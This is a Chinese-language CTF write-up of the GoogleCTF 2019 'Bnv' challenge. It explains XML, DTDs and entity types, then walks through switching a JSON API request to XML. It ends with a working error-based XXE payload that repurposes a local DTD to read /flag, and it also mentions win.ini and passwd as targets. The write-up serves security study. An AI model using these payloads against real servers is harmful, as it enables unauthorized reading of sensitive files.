[GoogleCTF2019 Quals]Bnv-XXE学习记录

[GoogleCTF2019 Quals]Bnv-XXE学习记录

知识点

XML

这里先了解下xml的基本格式

- 所有 XML 元素都须有关闭标签。

- XML 标签对大小写敏感。

- XML 必须正确地嵌套。

- XML 文档必须有根元素。

- XML 的属性值须加引号

看一个例子

<bookstore> <!--根元素-->
<book category="COOKING"> <!--bookstore的子元素,category为属性-->
<title>Everyday Italian</title>      <!--book的子元素,lang为属性-->
<author>Giada De Laurentiis</author>       <!--book的子元素-->
<year>2005</year> <!--book的子元素-->
<price>30.00</price> <!--book的子元素-->
</book> <!--book的结束-->
</bookstore> <!--bookstore的结束-->

DTD

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行地声明于XML文档中,也可作为一个外部引用。带有DTD的XML文档实例

<?xml version="1.0"?>//这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>

上面这个 DTD 就定义了 XML 的根元素是 message,然后跟元素下面有一些子元素,那么 XML 到时候必须像下面这样

<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>

内部实体

带有DTD的XML文档实例

<?xml version="1.0"?>//这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>

其实除了在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容),毕竟 ML 中除了能标签以外,还需要有些内容是固定的

示例代码:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>

这里 定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体(这是我们在这篇文章中第一次看到实体的真面目,实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用),那么 XML 就可以写成这样

<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 “test” 替换。

外部实体

实体分为两种,内部实体和外部实体,上面我们举的例子就是内部实体,但是实体实际上可以从外部的 dtd 文件中引用,我们看下面的代码:

<?xml version="1.0"?>
<!DOCTYPE root-element SYSTEM "file:///c:/test.dtd">
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>

test.dtd:

<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->

下面这张图诠释了DTD元素的用法
在这里插入图片描述
当然,还有一种引用方式是使用 引用公用 DTD 的方法,语法如下:

<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

这个在我们的攻击中也可以起到和 SYSTEM 一样的作用

我们上面已经将实体分成了两个派别(内部实体和外部外部),但是实际上从另一个角度看,实体也可以分成两个派别(通用实体和参数实体)

通用实体

用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用
示例代码:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> 
<updateProfile>  
    <firstname>Joe</firstname>  
    <lastname>&file;</lastname>  
    ... 
</updateProfile>

参数实体

(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用

示例代码:

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> 
%an-element; %remote-dtd;

实例做题应用([GoogleCTF2019 Quals]Bnv)

在这里插入图片描述在网页里随便点点看看,在city的下拉框里选择一个城市,点击submit会有不同的回显,没发现什么有用的地方,放dirsearch扫也没有什么隐藏目录
在这里插入图片描述
这里看到它会给api/search发送post请求,发送的数据是json数据,这串数据的具体含义后来了解到是我们在盲文点上所选择的城市的代表,具体的可以去下面这个网址查看https://www.pharmabraille.com/pharmaceutical-braille/the-braille-alphabet/

当然,这些数据的含义了解与否与这道题没有太大的关系,大佬说过有json数据的地方可能存在xxe,这是一道XXE的题目,之前正好不是很了解XXE,可以借此机会学习一下。

因为这次要不断修改发送包的内容,所以选择了使用POSTMAN这个工具。
先把默认发送的数据放进去看看是否正常回显
在这里插入图片描述
在此基础上我们修改Content-Type为application/xml在这里插入图片描述
可以看到我们得到了一个错误,意思应该是start标签没有找到第一行第一列,这意味着它需要某种XML数据,所以在做任何事情之前,让我们继续尝试看看,是否有任何实体扩展

我们将JSON数据修改为一个有效的XML字符串,<?xml version="1.0" encoding="UTF-8"?>//这一行是 XML 文档定义,然后将整个数值包装在成为根节点的消息标记中

在这里插入图片描述
我们得到了一个错误,它说没有找到DTD文件,让我们在DTD中添加一个简单的实体。
在这里插入图片描述
可以看到报错没有元素消息的声明,显然解析器需要在DTD中声明以定义的元素,有点像在使用变量之前声明变量。所以让我们给它想要的,我们要做的就是在DTD中声明消息,我们可以通过使用数据,指定名为message的元素来实现这一点,定义类型设置为PC数据,现在让我们继续尝试。

这里得说一下DTD
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行地声明于XML文档中,也可作为一个外部引用。带有DTD的XML文档实例

在这里插入图片描述
可以看到成功回显,证明起作用了
现在我们看看我们是否可以从内部向外部世界提出请求或者只是向我们选择的网站提出请求
为了测试这一点,我将使用Beeceptor,https://beeceptor.com/这是一个简单的服务,它为你提供一个子域,并快速而简单的保存向该网站发出的所有请求的日志。
在这里插入图片描述
添加一个外部实体来发出出口请求。
在这里插入图片描述
但它似乎未能加载外部实体。似乎我们不允许加载。任何外部DTDS。
在这里插入图片描述
那我们尝试加载一个文件
在这里插入图片描述
在这里插入图片描述
我们得到一个标记错误。这意味着文件已经正确加载了,但由于它不是个格式良好的xml文件 所以它中断了。现在我们有了一种枚举文件名的方法,让我们看看是否可以找到/flag文件。
在这里插入图片描述
我们得到了同样的输出。这意味着标志就存在路由中,然后被标记为一个文件。我们所要做的就是以某种方式来读取它。但是怎么读取呢?

由于我们不被允许加载外部的DTDS,我们怎么加载内部的DTDS呢?有内部的DTDS吗?如果有的话我想我们可以加载它们。因为我们可以加载HC密码。并破解它。但是这是另外一个原因,所以我们现在需要找到一个内部文件。它是一个可以包含有效XML文件,并且以某种方式获取flag。

https://mohemiv.com/tags/xxe/
上面这篇博客有一篇,关于利用本地DTD文件和XXE的经常博客文章本质上我们可以使用本地DTD文件的实体,但是我们需要在完全加载它之前对它进行定义。因为xml选择器将选择我们定义它的快速处理器。如果你想了解更多这个如何工作的信息。可以阅读这篇文章。
在这里插入图片描述

在这里插入图片描述
在block-post中也提到,Linux设备可能在/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd中有一个DTD文件。并且这个文件又一个名为ISOamsa的实体,所以我们可以使用它来写DTD代码。现在我们来制作DTD代码。

因为我们知道我们为这个例子,发送的输入是一个错误的文件名。
在这里插入图片描述
我们在响应中得到的文件名也与错误的文件名相同,这是可以被滥用的。

首先我们读取了所需文件的内容,它可以是一个/flag,它也可以使/etc/password,然后我们可以尝试读取另一份文件,但是我们要确保第二个是个假文件名是我们刚刚读取第一份文件的内容,显然这会给我们一个错误,因为没有文件名作为第一个文件的内容,在错误中我们得到了文件的名称,我们尝试阅读那些意味着,我们也会取回第一个文件的内容,因此使用本地DTD,通过XXE读取任意文件,让我们尝试这个阶段
在这里插入图片描述
最后的数据:

<?xml version="1.0"?>
<!DOCTYPE message[
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % ISOamso '
    <!ENTITY &#x25; file SYSTEM "file:///flag">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///aaaaa/&#x25;file;&#x27;>">
    &#x25;eval;
    &#x25;error;
'>
%local_dtd;
]>

在这里插入图片描述
成功拿到flag

参考文章
https://www.yuque.com/u390550/hsy6gq/ksmfiw
https://v.qq.com/x/page/f3006zyi447.html?ptag=qqbrowser
https://mohemiv.com/tags/xxe/
https://www.freebuf.com/vuls/175451.html
https://xz.aliyun.com/t/3357?spm=5176.12901015.0.i12901015.198e525cntx01K

  • 7
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值